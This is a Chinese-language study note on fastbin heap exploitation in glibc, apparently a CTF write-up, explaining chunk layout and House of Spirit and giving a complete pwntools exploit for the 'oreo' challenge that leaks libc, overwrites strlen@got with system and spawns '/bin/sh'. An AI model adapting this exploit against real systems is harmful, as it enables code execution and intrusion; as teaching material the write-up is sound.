Linux堆溢出之fastbin实例

0x00. 前言

最近在学习Linux上的堆溢出原理以及利用技巧,深深了解到堆溢出的复杂之处,以及各种层出不穷的技巧。然时间比较紧,只能慢慢学,现记录下学习fastbin的心得。

0x01. fastbin原理

关于fastbin的利用原理,网上已经有很多文章介绍,简要介绍下需要了解的知识点。
Linux的堆管理器ptmalloc,将内存划分为多个chunk,以chunk为单位分配个用户。为了提高内存分配的效率,ptmalloc又设计的一些数据结构帮助提高性能。正是由于提高效率,从而忽略了一些安全问题。

  1. Linux下的堆块 chunk,为了提高效率,chunk头一般很小。chunk的种类: 已分配的块(allocated chunk)、空闲块(free chunk)、最高块(top chunk)、最后剩余块(Last Remainder chunk)。
    一般空闲块头包含:前一个chunk的大小(pre_size)、本chunk的大小(size)、下一个块地址(fd)、上一个块地址(bk)。已分配的块不包含fd和bk字段,并且已分配的块还会使用下一个块的 pre_size字段。而且由于chunk的字节对齐,低位一般作为标志位,用于辅助chunk管理。如32位系统,堆块chunk大小是8字节对齐,其低3位(N|M|P):N表示此块是否属于main arean; M表示此块是否是mmap()创建的; P表示前块是否正在使用。
  2. Linux下的堆块采用链表结构管理,glibc下实现叫做bins,有4中bins:fastbin、unsorted bin、small bin、large bin。其中fastbin主要用于高效的分配和回收比较小的内存块,采用LIFO形式的单链表结构。

32位系统中,用户的请求在16bytes到64bytes会被分配到fastbin中;64位系统中,用户的请求在32bytes到128bytes会被分配到fastbin中。其他的几种结构主要是用户管理一般块和较大块。

0x02. fastbin利用技巧

基于fastbin块LIFO的特点,我们可以先申请,然后释放,再申请就可以得到原来地址的块。但是这不能满足我们的需求,我们需要在将堆分配在可控地址。我们可以通过堆溢出更改已经申请块的fd,使其指向我们可控的地址,并且在可控地址上伪造假的fastbin结构。然后释放,再申请两次,第2次就可以得到分配在可控地址上的块。(覆盖fd)
还有一种方法直接修改free函数的参数,使free函数的参数为可控地址,然后在可控地址上伪造假的堆块。(House of Spirit)

0x03. fastbin实例

  1. oreo
    该题是个典型的fastbin,主要思路:在bss段构造假的fastbin块结构,然后利用fastbin分配堆块,并写入一个地址。第2次对这个可控位置写入数据,就可以达到往任意地址写任意数据(write anything anywhere)。利用ELF中的逻辑,先通过地址泄漏得到system函数的地址,然后利用fastbin覆盖strlen@got.plt地址为system函数地址。这其中有个技巧,第二次写入数据是”p32(system_addr) + ‘;/bin/sh’ “,在覆盖strlen@got.plt的同时,后面system函数执行时,会分开执行,system(system_addr)和system(“/bin/sh”),最终会成功获得shell。
    漏洞利用代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    #!/usr/bin/env python

    from pwn import *

    DEBUG = 1
    if DEBUG:
    context.log_level = 'debug'
    p = process('./oreo')
    gdb.attach(p, execute='b *0x8048a4d')
    else:
    p = remote("xxxx", 1008)


    def add_rifles(name, description):
    p.sendline('1')
    p.sendline(name)
    p.sendline(description)

    def order_rifles():
    p.sendline('3')

    def leave_message(msg):
    p.sendline('4')
    p.sendline(msg)

    def show_rifles():
    p.sendline('2')


    def main():

    fgets_got = 0x0804A23C
    strlen_got = 0x0804A250
    msg_addr = 0x804A2A8

    p.recv(0x261)
    for i in range(0x3f):
    add_rifles("abc", "test")

    # leak system address
    payload1 = 'A' * 27 + p32(fgets_got)
    add_rifles(payload1, 'B' * 25)
    show_rifles()
    p.recvuntil("===================================")
    p.recvuntil("===================================")
    p.recvuntil("Name: ")
    p.recvuntil("\nDescription: ")
    fgets_addr = u32(p.recv(4))
    print "fgets address: %x" % fgets_addr
    system_addr = fgets_addr - 0x232f0

    # malloc chunk
    payload2 = 'A' * 27 + p32(msg_addr)
    add_rifles(payload2, 'B' * 25)

    # construct fake chunk
    payload3 = p32(0x0) *9 + p32(0x49)
    leave_message(payload3)

    #free chunk
    order_rifles()

    #fastbin: malloc new chunk at address 0x804a2a8
    add_rifles('name', p32(strlen_got))

    #write strlen_got with system_addr and execute strlen('p32(system_addr);/bin/sh')
    leave_message(p32(system_addr) + ';/bin/sh')

    p.interactive()

    if __name__ == '__main__':
    main()

0x04. 参考文献

1. Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)